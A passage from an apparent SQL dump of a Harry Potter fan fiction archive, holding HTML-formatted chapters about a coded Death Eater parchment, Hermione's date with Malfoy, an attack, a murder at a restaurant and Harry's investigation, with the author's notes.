hit by a curse! He quickly got back up to his feet and\nknocked the leader out with a roundhouse kick! Harry tackled one of the hooded\nwizards while shot a stunning spell towards the other one! Suddenly, there was\nan explosion and both Harry and Ron were flung off the roof!<br>\n<br>\nThe two wizards tumbled down the grassy hill that the warehouse was standing\non! By the time they had made it back to the rooftop, the hooded wizards were\ngone.<br>\n<br>\n&#8220;DAMN!&#8221; shouted Harry. He seemed to be livid about the dark wizards&#8217; escape.\nRon wasn&#8217;t all smiles either but he had more curiosity on his mind than anger.<br>\n<br>\n&#8220;All right, Harry. Now what was that about?&#8221;<br>\n<br>\nHarry remained quiet for a full minute as he studied Ron. He seemed to be\npondering on whether to let Ron into the loop or not. Finally he opened his\nmouth to speak.<br>\n<br>\n&#8220;For the past three weeks, the Department of Mysteries has been monitoring\nactivity amongst certain dark wizards in Britain. Nothing big seemed to be\nhappening but it still got some of the people at the top a little worried.\nThen, three days ago, I intercepted this,&#8221; he handed Ron a crumpled piece of\nparchment that had runes written all over it. &#8220;Its written in code, but I&#8217;ve\nmanaged to decode small bits and pieces of it. There was something mentioned in\nit about Voldemort&#8230;&#8221;<br>\n<br>\n&#8220;What?!&#8221; gasped Ron, his eyes wide and his complexion paling. &#8220;But you defeated\nYou-Know-Who during our seventh year!&#8221;<br>\n<br>\nHarry nodded. &#8220;I know. My theory is that this is some kind of back up plan\nVoldemort left behind for his Death Eaters in case he was ever defeated.\nAnyways, I&#8217;ve managed to figure out that the dark wizards are planning\nsomething for the Minister of Magic elections.&#8221;<br>\n<br>\nRon snorted. &#8220;Oh yeah, Draco Malfoy and my brother Percy. &#8216;Best&#8217; candidates\navailable.&#8221; He sighed, &#8220;What is this world coming to?&#8221;<br>\n<br>\nHarry couldn&#8217;t help but grinning. &#8220;So anyways, I also found out that some of\nthe dark wizards involved would be meeting here tonight. I was hoping to\ncapture them and take them in for interrogation but guess that&#8217;s not going to\nhappen.&#8221; He sighed. &#8220;Oh well, I suppose I could try to decode the rest of the\nparchment.&#8221;<br>\n<br>\n&#8220;Anything I could do to help?&#8221;<br>\n<br>\n&#8220;Keep an eye out for dark activity. Also, owl Percy and advise him to be\ncareful. But don&#8217;t let on to much, if the public found out that there was some\nhappening with the Minister elections, the panic would be chaotic to say the\nleast.&#8221;<br>\n<br>\n&#8220;Gotcha. Accio Nimbus 2500!&#8221; Ron&#8217;s broomstick flew into his outstretched his\nhand. He mounted it kicked off. &#8220;I&#8217;ll get a hold of you later, OK? Keep me\nposted.&#8221;<br>\n<br>\n&#8220;Right. I&#8217;ll owl you if something comes up.&#8221;<br>\n<br>\nHarry disapparated as Ron took off into the night air.<br>\n<br>\nA/N So, how is this story going? I hope you all like it. It&#8217;s not going to be\nas long as &#8220;The Mage Knights&#8221;. So please, review. Please also read and review\nmy short story &#8220;Uninvited Guest at the Wedding&#8221;.</p>\n\n\n\n\n\n\n'),
	(113, 3, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 3: A Date and an Attack<br>\n<br>\n&#8220;Malfoy did what?! &#8221; exclaimed Harry. It was the day after Harry&#8217;s encounter\nwith the dark wizards at the warehouse and he and Hermione were having one of\ntheir daily lunch dates at the Leaky Cauldron.<br>\n<br>\n&#8220;He asked me out for dinner,&#8221; sighed Hermione. &#8220;I know. It was very unexpected\nand surprising.&#8221;<br>\n<br>\nHarry frowned. &#8220;This is the same Draco Malfoy who used to tease you and call\nyou &#8216;mudblood&#8217; and try to make our lives a living hell, right?&#8221;<br>\n<br>\n&#8220;Uh huh, the same one.&#8221;<br>\n<br>\n&#8220;You aren&#8217;t thinking of going?&#8221;<br>\n<br>\n&#8220;I think I might.&#8221; She grinned. &#8220;You know how his father was associated with\nVoldemort.&#8221; (Hermione had started saying his name during her sixth year) &#8220;Maybe\nI could dig something up from him that could help you decode that parchment you\nfound.&#8221;<br>\n<br>\nHarry spat out the tea he was drinking and his eyes grew wide. &#8220;How do you know\nthat?!&#8221; he hissed. &#8220;That&#8217;s classified information!&#8221; His first thought was that\nRon had informed her.<br>\n<br>\n&#8220;Give me some credit, Harry. I&#8217;m an investigative reporter. Finding out secrets\nis my job.&#8221; She winked. &#8220;That includes secrets kept by the Department of\nMysteries. Don&#8217;t worry, this information is strictly off the record.&#8221;<br>\n<br>\nHarry let out a breath of relief. He trusted Hermione with his life and if she\nsaid information was off the record, it was off the record. &#8220;Well OK. But if\nyou&#8217;re going to go see Malfoy, take care of yourself.&#8221;<br>\n<br>\n&#8220;You know I do.&#8221;<br>\n<br>\n* * * * * * * * * *<br>\n<br>\n&#8220;Hermione, glad that you could make it,&#8221; said Draco as Hermione joined him for\ndinner. They were at one of the most expensive restaurants in the entire\nwizarding world. Draco had even reserved one of the more expensive private\nbooths. There was also some soft chamber music and some candlelight. Basically,\nthe place reeked with galleons.<br>\n<br>\nHermione couldn&#8217;t help but feel a little out of place in her blue, beautiful\nbut modest dress robes. Still, she smiled and said &#8220;I&#8217;m glad as well, Darco.&#8221;<br>\n<br>\nThe date turned out to be quite enjoyable. Draco turned out to be charming,\ncharismatic, and humorous, a big change from their Hogwarts days. He even\npresented her with a number of gifts, which she politely accepted. It seemed as\nif it would turn out to be one of the most enjoyable dates Hermione had ever\nhad.<br>\n<br>\nThen, around dessert, Hermione noticed that Draco was gazing at her in a way\nthat made her feel uncomfortable. She was just about to speak but Draco beat\nher to it: &#8220;Do you want go somewhere else more private?&#8221;<br>\n<br>\n&#8220;Excuse me?&#8221; spluttered Hermione. Draco was grinning and had a gleam in his\neyes that made her shudder.<br>\n<br>\n&#8220;Do you want to go to someplace more private where we could, say, get to know each\nother a little better?&#8221;<br>\n<br>\nHermione was completely speechless. She stared at Draco for a a few moments\nbefore she finally yelled &#8220;That&#8217;s why you asked me out?! To try to get me in\nbed?!&#8221;<br>\n<br>\n&#8220;It was the first thing I thought,&#8221; said Draco with a matter of fact tone. The\nway he seemed to say it suggested that woman usually through themselves at his\nfeet so as to get in bed with him (which was probably true).<br>\n<br>\nHermione had never been angrier in her entire life. &#8220;Did you think I that I was\nsome slut who would let you shag me without a second thought on a first date?!&#8221;\nshe yelled. &#8220;I have never been more humiliated in my life!&#8221; She promptly stood\nup and stormed out of the restaurant.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nHermione walked down the lit streets, letting the night air cool her temper.\nShe was still irritated by how Malfoy had tried to lure her into bed but was a\nlot calmer now that she was away from the jerk.<br>\n<br>\nAs she walked down a dark alley, Hermione felt a presence behind her. She\nturned around and gasped. Standing behind her were about a dozen hooded\nwizards! She couldn&#8217;t recognize any of them since their hoods were drawn over\ntheir faces.<br>\n<br>\n&#8220;Miss Granger,&#8221; said the hooded wizard who appeared to be the leader. &#8220;You have\nsomething that we want. We ask that you would kindly hand it over to us.&#8221;<br>\n<br>\n&#8220;W...what?&#8221; stuttered Hermione as fear ran through her spine. She had\nabsolutely no idea what he was talking about.<br>\n<br>\n&#8220;If you will not give it to us,&#8221; continued the lead wizard, &#8220;then we will have\nto take it forcefully.&#8221; The hooded wizards started advancing toward her.\nHermione whipped out her wand.<br>\n<br>\n&#8220;Expelliarmus!&#8221; Hermione&#8217;s wand flew out of her hand! One of the hooded wizards\ngrabbed her arm. Panic over coming her, Hermione hit the wizard across the\nface! She punched another hooded wizard and even managed to kick a third one in\nthe shins! Unfortunately, the leader struck her in the face and Hermione fell\nto the ground! She struggled to remain conscious as the hooded wizards started\nsearching her!<br>\n<br>\nSuddenly, a number of the hooded wizards were blasted back by a series of\nlightning bolts! The wizards whipped around to see a raging Harry Potter leap\noff of his broomstick, a Firebolt Mark II! With a roar of anger, Harry charged\nat the hooded wizards a placed a couple of powerful, physical blows on the ones\nnearest Hermione! Unfortunately, he failed to knock any of them out and all of\nthe hooded wizards decided to disapparate rather than fight the raging\nUnspeakable.<br>\n<br>\n&#8220;Hermione! Are you OK?&#8221; said Harry as he kneeled down next to her and held her\nin his arms. Hermione smiled, already feeling better just being in Harry&#8217;s\narms. &#8220;I&#8217;m OK. Thank you for saving me.&#8221; She kissed him on the cheek. Harry\nhelped Hermione back up to her feet.<br>\n<br>\n&#8220;You sure were lucky that I was flying overhead,&#8221; said Harry. &#8220;What was that\nall about?&#8221; Hermione explained everything from her disastrous date with Malfoy\nto when Harry had just come and rescued her. Harry was lost in thought for a\nminute.<br>\n<br>\n&#8220;Interesting that you were attacked by dark wizards right after you walked out\non Malfoy considering his families association with the dark side,&#8221; mused\nHarry. &#8220;They said you have something that they want?&#8221;<br>\n<br>\n&#8220;Yes, but I have no idea what that is.&#8221;<br>\n<br>\n&#8220;Could be the coded parchment,&#8221; said Harry. &#8220;I recognized some of those dark wizards\nfrom the warehouse I went to last night. They don&#8217;t know who intercepted it and\nthey may have suspected you because of your reputation as one very nosy\nreporter.&#8221; He grinned when he said the last comment. Hermione rolled her eyes\nbut ignored him.<br>\n<br>\n&#8220;Come on, I&#8217;ll give you a ride back home,&#8221; said Harry. Hermione was about to\nargue but thought better about when she realized that she was still groggy from\nthe blow to her face. She got on the broomstick behind Harry and they flew\naway.<br>\n<br>\nA/N Well, I guess Malfoy wasn&#8217;t a nice guy after all. I still hope that all of\nyou continue reading and reviewing this. Sorry about all those exclamation\npoints, guess I still haven&#8217;t broken the habit yet. But I will. A special thank\nyou to all of those who reviewed all of my stories. Chapter 4 will come soon.</p>\n\n\n\n\n\n\n'),
	(113, 4, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 4: Ron&#8217;s Professor Girlfriend<br>\n<br>\n&#8220;Weasley, what in Samhill&#8217;s name did you just say?!&#8221; The outcry had come from a\nplump, middle-aged wizard with a full head of black hair streaked with gray.\nJason McNeil, the head of the Department of Magical Law Enforcement.<br>\n<br>\nRon sighed and repeated what he had just said, &#8220;Request permission to help\nUnspeakable Harry Potter on his current case of the coded parchment.&#8221;<br>\n<br>\n&#8220;That information is classified, Weasley!&#8221; yelled a red faced McNeil. &#8220;I&#8217;m not\ngoing to bother asking how you found out about it. But it&#8217;s out of your hands!\nLeave it to the Department of Mysteries. You&#8217;re job is to catch dark wizards!&#8221;<br>\n<br>\n&#8220;But sir, if you would please&#8230;&#8221;<br>\n<br>\n&#8220;Listen Weasley,&#8221; McNeil&#8217;s face softened and his expression warmed. &#8220;You&#8217;re one\nof the best damned Aurors I got in my department and I mean the best! But you\ndon&#8217;t have what it takes to work with an unspeakable. Aurors have a reputation\nof shoot first and ask questions later. But you, Weasley, tend to shoot first,\nshoot again, shoot once more and finally ask questions when everyone&#8217;s dropped\ndead!&#8221;<br>\n<br>\n&#8220;Uh sir, I&#8217;ve always brought my targets in alive.&#8221;<br>\n<br>\n&#8220;That&#8217;s beside the point!&#8221; yelled McNeil, his face going read again. &#8220;You don&#8217;t\nhave what it takes! STAY OUT OF THE BUSINESS OF UNSPEAKABLES!&#8221;<br>\n<br>\nRon sighed and gave his assurance. He muttered to himself, &#8220;Love the star\ntreatment you give your Aurors, McNeil&#8221; as he exited his bosses office.<br>\n<br>\n&#8220;McNeil getting down at you again?&#8221; asked a kindly voice. Ron turned around to\nsee Sirius Black, deputy head of the Department of Magical Law Enforcement and\nHarry&#8217;s Godfather. Sirius had been cleared of his charges during the trio&#8217;s\nsixth year within five years he had worked up to the position of deputy head of\nthe DOMLE.<br>\n<br>\n&#8220;Nope he awarded me the Order of Merlin,&#8221; said Ron sarcastically. &#8220;Yeah, when\nis he not down my bloody arse? Oh well, at least I can look forward to my date\nlater today.&#8221;<br>\n<br>\n&#8220;Oooooooh! So Ronnie&#8217;s finally got himself a girlfriend after so many years,&#8221;\nsaid Sirius with a huge grin.<br>\n<br>\nRon scowled. &#8220;For your information, Sirius, I&#8217;ve had plenty of girlfriends in\nmy lifetime. Let&#8217;s see,&#8221; he started counting off from his fingers. &#8220;There&#8217;s\nHermione during fifth year, Victoria Richardson during seventh year, and&#8230;. OK!\nFine! This is the first girlfriend I&#8217;ve had in years!&#8221;<br>\n<br>\nSirius was still grinning. &#8220;Soooooooo, who is she?&#8221;<br>\n<br>\nRon smiled. &#8220;You know her. Natalie Robyns.&#8221;<br>\n<br>\n&#8220;The Hogwarts transfiguration professor? How old was she again?&#8221;<br>\n<br>\n&#8220;23&#8221;<br>\n<br>\n&#8220;Ah, going for older woman now? Didn&#8217;t think you had it in you,&#8221; said Sirius.<br>\n<br>\n&#8220;Dream on, Padfoot,&#8221; said Ron. But he had a goofy grin on his face.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nHogwarts looked pretty much the same since the trio had gone to school there\nbut there were a number of cosmetic differences in the staff. Albus Dumbledore\nhad passed away two years ago, or at least that was the common belief. There was\nan unconfirmed rumor running around that he had secretly retired, secluded\nhimself from society, and was enjoying his post Voldemort days in style.\nWhatever the truth was, Minerva McGonagall was headmistress now. She was far\nless stern compared to her teaching days but she still was not someone you\nwanted to cross.<br>\n<br>\nSeverus Snape was still head of Slytherin house, potions master, and he was now\ndeputy headmaster. Luckily, he had grown a lot fairer in his inter- house\ntreatment but he was still as nasty as ever. Remus Lupin had returned as the\nDefense against the Dark Arts professor during the trio&#8217;s seventh year due to\nthe invention of the more advanced wolfsbane potion. He was now head of\nGryffindor house. Flitwick was still there (though nearing retirement). Sprout\nhad retired after the trio&#8217;s seventh year and the herbology professor who\nreplaced her was none other than Neville Longbottom.<br>\n<br>\nBut the object of Ron&#8217;s affection was a tall young witch with waist length\nblonde hair, and sparkling blue eyes. Natalie Robyns was the transfiguration\nprofessor and the head of Hufflepuff house. Ron met her, that afternoon, at the\nThree Broomsticks in Hogsmeade village.<br>\n<br>\n&#8220;Ron! Over here,&#8221; she called when she saw a familiar shock fiery red hair enter\nthe pub. Ron smiled and joined the beautiful blonde woman at her table.<br>\n<br>\n&#8220;Hey Nat. Sorry I&#8217;m late.&#8221;<br>\n<br>\nNatalie laughed. &#8220;I expected you would be so I came a little late myself. So\nyou&#8217;re more or less on time.&#8221; Ron grinned sheepishly. &#8220;So, how&#8217;s life been\ntreating you recently?&#8221;<br>\n<br>\n&#8220;Oh, my boss got on my back today like usual. And Hermione got attacked by dark\nwizards last night&#8230;&#8221;<br>\n<br>\n&#8220;WHAT?!&#8221;<br>\n<br>\n&#8220;Don&#8217;t worry, she&#8217;s OK,&#8221; said Ron hurriedly. &#8220;Harry was passing by and he got\nher out of hot water.&#8221;<br>\n<br>\n&#8220;I&#8217;m glad that she&#8217;s alright,&#8221; said Natalie looking a little relieved. &#8220;What\nwas she doing at the time?&#8221;<br>\n<br>\n&#8220;You&#8217;re not going to believe this. She had just had a date with Draco Malfoy&#8230;&#8221;<br>\n<br>\n&#8220;No kidding?! He&#8217;s like one of the most eligible bachelors in the wizarding\nworld!&#8221;<br>\n<br>\n&#8220;So&#8217;s Harry. Anyways, date was a complete disaster, told her so, and she\nstormed out on him. But then, she ran into these dark wizards on the way back.\nShe was lucky.&#8221;<br>\n<br>\n&#8220;Well, since I&#8217;m sure that Hermione is all right, why don&#8217;t we forget about\neverything and enjoy each other.&#8221; Said Natalie with a smile. Ron grinned and\nkissed her sweetly.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nRon and Natalie had the time of their lives in Hogsmeade that afternoon. They\nvisited Zonkos, Honeydukes, the owl post, and the Shrieking Shack. They even\npaid a visit to the joke shop Weasley Wizard Wheezes, run by Ron&#8217;s older twin\nbrothers.<br>\n<br>\n&#8220;Hey Ron, you scored big time with her,&#8221; whispered Fred as he checked Natalie\nout.<br>\n<br>\n&#8220;Awwwww, our baby Ronniekins is growing up,&#8221; whined George as he wiped away a\nmock tear.<br>\n<br>\n&#8220;Shut up you gits!&#8221; hissed Ron as Natalie came back from the bathroom.<br>\n<br>\nThey left W.W.W. and started make their way back to Hogwarts. Ron decided to\npay Neville, Hagrid, and Remus a visit and went up to the school. He met many\nfamiliar faces in the Great Hall. He was just about to engage Neville in a\ndiscussion about Quidditch when an owl flew in and dropped a letter on his lap.<br>\n<br>\n&#8220;Bollocks,&#8221; said Ron as he read the letter. &#8220;Sorry Natalie, but I&#8217;ve got to go.\nThey&#8217;ve located some renegade warlock in Liverpool and it&#8217;s my job to hunt him\ndown.&#8221;<br>\n<br>\n&#8220;OK. I&#8217;ll see you again,&#8221; said Natalie. They kissed before Ron left the School.\nHe had to walk out of the Hogwarts grounds to apparate and he chuckled when he\nremembered how Hermione used to say, &#8220;You can&#8217;t apparate or disapparate on\nHogwarts grounds!&#8221;<br>\n<br>\nA/N Well, there you got chapter 4. OK, so it&#8217;s a little fluffy, but that&#8217;s just\nthis chapter. Things will start getting serious again in the next chapter. So\njust hang on until then. For clarification purposes, the coded parchment Harry\nmentioned in chapter 3 if the parchment that he shows to Ron in chapter 2 (its\nalso where this fic gets its title). In the mean time, just read and review\nthis story or any other of my fics. Oh what the heck, just read!</p>\n\n\n\n\n\n\n'),
	(113, 5, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 5: The Assassination<br>\n<br>\nWhile Ron was enjoying the company of Natalie Robyns, Hermione was fuming\nbehind her desk at the Daily Prophet as she wrote her column. She was still\nirritated by the disastrous date with Malfoy the night before. Her messing\nstarted to become messy as she started venting her anger onto the column she\nwas writing.<br>\n<br>\n&#8220;My, my, my, someone&#8217;s very testy this afternoon,&#8221; said a soothing voice from\nbehind her. Hermione whipped around and stared into the bright green eyes of\nHarry Potter.<br>\n<br>\n&#8220;Oh hi Harry,&#8221; she said. Harry&#8217;s presence helped calm her. &#8220;What are you doing\nhere?&#8221;<br>\n<br>\n&#8220;Just came for a visit. What&#8217;s wrong Hermione?&#8221;<br>\n<br>\n&#8220;Oh, it&#8217;s just Malfoy.&#8221; She practically spat out the name. Harry nodded in\nunderstanding. &#8220;I still can&#8217;t believe that he thought that I would&#8230;oh, never\nmind.&#8221;<br>\n<br>\n&#8220;He doesn&#8217;t deserve you, Hermione,&#8221; said Harry as he sat down on an empty chair\nnext to her desk. &#8220;He was all wrong for you.&#8221;<br>\n<br>\n&#8220;And would you know anyone who&#8217;s right for me?&#8221; said Hermione sarcastically as\nshe went back to writing her column.<br>\n<br>\n&#8220;Oh, I don&#8217;t know,&#8221; said Harry. &#8220;Maybe someone like me.&#8221;<br>\n<br>\n&#8220;What?!&#8221; Hermione&#8217;s face suddenly sprang up. Harry looked startled.<br>\n<br>\n&#8220;What do you mean &#8216;what&#8217;.&#8221;<br>\n<br>\n&#8220;What did you just say?&#8221;<br>\n<br>\n&#8220;I said someone like&#8230;WHOOPS!&#8221; Harry only seemed to just realize what he had\nsaid. Hermione grinned.<br>\n<br>\n&#8220;Are you serious?&#8221;<br>\n<br>\n&#8220;Well...I&#8230;I&#8230;I suppose&#8230;that I &#8230;er&#8230;I have these&#8230;feelings for you&#8230;&#8221;<br>\n<br>\n&#8220;Harry, if I remember correctly, you always made a point that your feelings for\nme were strictly platonic.&#8221;<br>\n<br>\n&#8220;Well&#8230;I&#8230;I suppose&#8230;that&#8230;feelings change.&#8221; Harry looked abashed, but he looked\nHermione in the eye and said, &#8220;You wouldn&#8217;t mind would you? I mean, I don&#8217;t\nwant our friendship ruined because of this&#8230;&#8221; He would have continued if\nHermione hadn&#8217;t suddenly pulled him into a deep, passionate kiss. When they\nfinally broke apart a few minutes later, they both had wide grins on their\nfaces.<br>\n<br>\n&#8220;Harry, you&#8217;re not going to believe this but I&#8217;ve had feelings for you since\nyou saved me from that troll back in first year,&#8221; said Hermione. Harry looked\nabsolutely startled.<br>\n<br>\n&#8220;But that was 10 years ago!&#8221;<br>\n<br>\n&#8220;Believe me, it was worth the wait!&#8221; Harry grinned as Hermione pulled him into\nanother deep kiss amidst all the cheering of the Daily Prophet employees around\nthem.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nAbout a week later, Harry, Hermione, Ron, and Natalie were double dating at an\nexpensive restaurant in Hogsmeade. Ron had been ecstatic about his two best\nfriends finally getting together after so many years. &#8220;Ha! I just knew you\ncouldn&#8217;t remain platonic forever!&#8221; he had said when the two made their\nannouncement to him.<br>\n<br>\nHarry and Hermione were as close to each other as ever. In was highly\nadvantageous that they already knew everything there was too know about each\nother and Ron couldn&#8217;t help but be a little envious of them: he and Natalie\nbarely knew each other.<br>\n<br>\n&#8220;Hey Ron, isn&#8217;t that Percy?&#8221; said Hermione as she noticed a number of people\nenter the restaurant. Sure enough, Percy Weasley and his campaign managers,\nPhilip Johnson and Phoebe Tomans, had just entered the restaurant and were\ndiscussing something: most likely Percy&#8217;s chances of becoming the next Minister\nof Magic opposed to Draco Malfoy. Philip Johnson was a short, stout man with\nthinning brown hair and dull blue eyes while Phoebe Tomans was a tall, alender\nwoman with short blonde hair and gray eyes.<br>\n<br>\nRon scowled and turned away. &#8220;Nope, that&#8217;s the big rock head of Ottorey St.\nCatchpole.&#8221; He apparently didn&#8217;t feel like associating with Percy right now.\nAfter eating for a while, Natalie excused herself to the bathroom. Ron took\nthis opportunity to bring something up with Harry.<br>\n<br>\n&#8220;So how much of the parchment have you decoded?&#8221; he whispered.<br>\n<br>\n&#8220;Ron, didn&#8217;t your boss deny you permission to work on this?&#8221; hissed Hermione.<br>\n<br>\nRon grinned. &#8220;Since when have I ever abided to rules?&#8221; He turned back to Harry\nand said &#8220;So?&#8221;<br>\n<br>\nHarry sighed. He didn&#8217;t like discussing such classified matters in public but\nhe knew that Ron wouldn&#8217;t back down. &#8220;No. It&#8217;s taking me forever. I&#8217;ve managed\nto figure out something called &#8216;the memory&#8217; but I have no idea what that is\nabout.&#8221;<br>\n<br>\nHermione looked thoughtful. &#8220;Have you tried revealing spells?&#8221;<br>\n<br>\n&#8220;Yeah. The effect was nugatory.&#8221;<br>\n<br>\n&#8220;A translater spell then.&#8221;<br>\n<br>\n&#8220;The parchment is designed to repell all forms of spells and charms that could\nhelp with the decoding.&#8221; Harry tossed off his glasses and started rubbing the\nbridge of his nose. &#8220;The Death Eaters probably used some kind of talisman for\ntheir decoding. If I can only find out what that talisman was&#8230;&#8221; He abruptly\nstopped when Natalie returned from the bathroom.<br>\n<br>\nThe four spent about another hour talking about a wide variety of subjects\nranging from the choosing of the new Minister of Magic to the current Hogwarts\nclasses. They saw Phoebe Tomans stand up and walk away but paid no heed.\nHermione excused herself for the bathroom right around when Harry and Ron had\nstarted a heated discussion about professional Quidditch.<br>\n<br>\n&#8220;This is going to be the year Harry! This is the year for the Chudley Cannons!&#8221;<br>\n<br>\nHarry rolled his eyes. &#8220;Ron! The Cannons don&#8217;t stand a chance! It&#8217;s either\ngoing to be Puddlemore United or the Appleby Arrows. I mean the Arrows have got\nthat new seeker&#8230;&#8221;<br>\n<br>\nSuddenly, a scream erupted from the women&#8217;s bathroom! Harry and Ron shared a\nglance before dashing over to the origin of the scream. The scene that greeted\nthem was horrifying to say the least.<br>\n<br>\nHermione was shaking on the ground, her eyes wide and her face pale. She had\nher wand drawn. Right next to her was the lifeless corpse of Phoebe Tomans!<br>\n<br>\nA/N I need to mention something. At first glance, Chapter 4 may seem like an\nunimportant fluff chapter but in reality, it&#8217;s actually the most important\nchapter in the whole story. You&#8217;ll eventually find out why. So R/R this and\nstick around for the next chapter.</p>\n\n\n\n\n\n\n'),
	(113, 6, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\n1 Chapter 6: The Investigation<br>\n<br>\nBefore anybody could move, a dozen aurors and hit wizards burst into the\nrestaurant, led by none other than Jason McNeil! &#8220;Arrest her!&#8221; he shouted. One\nof the aurors, Sam Locks leaped forward, snapped Hermione&#8217;s wand and placed a\nmagical restraint on her. Harry and Ron snapped out of their trance.<br>\n<br>\n&#8220;What are you doing!&#8221; they both shouted.<br>\n<br>\n&#8220;We&#8217;re placing her under arrest for murder,&#8221; snarled Locks. Hermione looked up\nat Harry, pleading to him with her eyes.<br>\n<br>\n&#8220;McNeil,&#8221; said Harry, &#8220;I think you should&#8230;&#8221;<br>\n<br>\n&#8220;I do my job my own way, Potter. Don&#8217;t criticize my methods!&#8221;<br>\n<br>\n&#8220;Dammit Jason!&#8221; yelled Ron. &#8220;If you&#8217;d just give her a chance, you&#8217;d see that\nshe&#8217;s innocent!&#8221;<br>\n<br>\n&#8220;You&#8217;re my employee, Weasley! I don&#8217;t think it&#8217;s your place to criticize my\njob.&#8221;<br>\n<br>\n&#8220;She&#8217;s supposed to be innocent until proven guilty!&#8221;<br>\n<br>\n&#8220;Not in the wizarding world, Potter. If your investigation comes up with more\nevidence, then she&#8217;ll be let free. In the mean time however, its Azkaban for\nher!&#8221;<br>\n<br>\nAs soon as McNeil said &#8220;Azkaban&#8221;, Harry roared with anger and charged at\nMcNeil! He was barely held back by Ron and Sirius (who had come with the\naurors). &#8220;Harry,&#8221; said Sirius. &#8220;Beating McNeil to pulp will only cause more\nproblems. Calm down.&#8221; This was very painful for him to say since both he Ron\nfelt like beating McNeil to pulp. Unfortunately, McNeil was their boss and\nbeating would not be good for their jobs.<br>\n<br>\nHermione stepped forward. &#8220;Harry, please don&#8217;t cause a scene. I&#8217;ll be all\nright.&#8221; She looked frightened however. Harry&#8217;s gaze softened.<br>\n<br>\n&#8220;I promise, Hermione,&#8221; he said. &#8220;I&#8217;ll do everything in my power to get you out\nof Azkaban.&#8221; Hermione gave him a weak smile as the aurors led her out.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nA few hours later, Harry was leading the investigation of the murder. He was\nvery frustrated with the actions of the aurors since it hadn&#8217;t helped him with\nhis investigation.<br>\n<br>\n&#8216;That was very stupid snapping Hermione&#8217;s wand,&#8217; thought Harry. &#8216;A good Priori\nIncantatem would&#8217;ve proved her innocence easily, but they just had to snap her\nwand.&#8217;<br>\n<br>\n&#8220;Hey Harry, check this out,&#8221; said Ron while investigating the sink. He had\nlocated a few drops of a thick brown liquid. Apparently, someone had drained a\npotion into the sink. Harry studied the drops.<br>\n<br>\n&#8220;Polyjuice potion.&#8221;<br>\n<br>\n&#8220;Why would someone dump polyjuice potion into a sink?&#8221; asked Ron. Harry thought\nfor a moment.<br>\n<br>\n&#8220;They were probably trying to get rid of the excess,&#8221; said Harry. &#8220;My theory is\nthat the real murderer took the potion and disguised him or herself to avoid\ncapture.&#8221;<br>\n<br>\n&#8220;Well, that could help but it won&#8217;t clear Hermione&#8217;s name or help us find the\nreal culprit.&#8221;<br>\n<br>\nHarry was still thinking. &#8220;What if Hermione was framed?&#8221;<br>\n<br>\n&#8220;What?&#8221;<br>\n<br>\n&#8220;What if somebody wanted Hermione out of the way? She was attacked by dark\nwizards a few days ago; apparently they were looking for something she had. By\nframing her, they could search her flat without hindrance.&#8221; Harry and Ron\nshared a glance before disapparating to Hermione&#8217;s flat. Her flat looked a\nhurricane had run through it. Everything was a complete mess, but nothing was\nmissing. It looked like the dark wizards had raided her flat, but found\nnothing.<br>\n<br>\n&#8220;Well,&#8221; said Ron. &#8220;Looks like the dark wizards wanted simply give Hermione a\nlarger cleaning bill.&#8221;<br>\n<br>\nHarry remained quiet as he continued thinking. &#8220;Malfoy,&#8221; he muttered.<br>\n<br>\n&#8220;What does ferret boy have to do with this?&#8221;<br>\n<br>\n&#8220;Everything, if my theory proves true.&#8221;<br>\n<br>\n&#8220;Theory?&#8221;<br>\n<br>\n&#8220;Malfoy gave Hermione a number of gifts during their dates a few days ago. You\nknow his family&#8217;s association with the dark side, what if Malfoy had\nunknowingly given something to Hermione that was important to the Death Eaters?&#8221;<br>\n<br>\nRon&#8217;s eyes suddenly widened in understanding. &#8220;And she was attacked by dark\nwizards right after Malfoy had given her the gifts!&#8221;<br>\n<br>\n&#8220;Exactly.&#8221;<br>\n<br>\n&#8220;So where are those gifts if they aren&#8217;t here?&#8221;<br>\n<br>\n&#8220;After the attack, I took her back home to my flat. She must&#8217;ve left them\nthere.&#8221;<br>\n<br>\nWithin a second, Harry and Ron disapparated to Harry&#8217;s flat. A quick search\nshowed that the gifts were underneath the bed in the guest room. Harry and Ron\nstarted rummaging through them.<br>\n<br>\n&#8220;Chocolates. Malfoy must&#8217;ve been planning to take Hermione dementor- sighting,&#8221;\nmuttered Ron.<br>\n<br>\nHarry located a small book, which seemed promising. After a quick glance\nhowever, he quickly stuffed it back into the bag he had found it in.<br>\n<br>\n&#8220;What is that book?&#8221; asked Ron.<br>\n<br>\n&#8220;N&#8230;nothing,&#8221; said Harry. Ron raised an eyebrow and said &#8220;Accio!&#8221; The bag flew\ninto Ron&#8217;s hand. It turned out to be a book on Kama Sutra.<br>\n<br>\n&#8220;OK! That&#8217;s something I did NOT want to find out about Malfoy!&#8221; yelled Ron.\nHarry started searching through the gifts again. Draco Malfoy&#8217;s choices of\ngifts for a date frightened to Harry and Ron. Finally, Ron found something\ninteresting.<br>\n<br>\n&#8220;What&#8217;s this,&#8221; he asked as he pulled a clear orb out of a parcel. Harry&#8217;s eyes\nsuddenly widened in excitement as he swiped the orb away from Ron.<br>\n<br>\n&#8220;This is it!&#8221; yelled Harry. &#8220;This is what they&#8217;re looking for!&#8221;<br>\n<br>\n&#8220;Well, what is it!&#8221;<br>\n<br>\n&#8220;It&#8217;s a decoder crystal,&#8221; said Harry looking very excited. &#8220;This must be what\nthe dark wizards have been using to read their codes. With this, I can\ncompletely decode the parchment!&#8221;<br>\n<br>\nA/N OK, that chapter, mainly Malfoy&#8217;s gifts, frightened me a little. I can&#8217;t\nbelieve I wrote that. But I&#8217;m 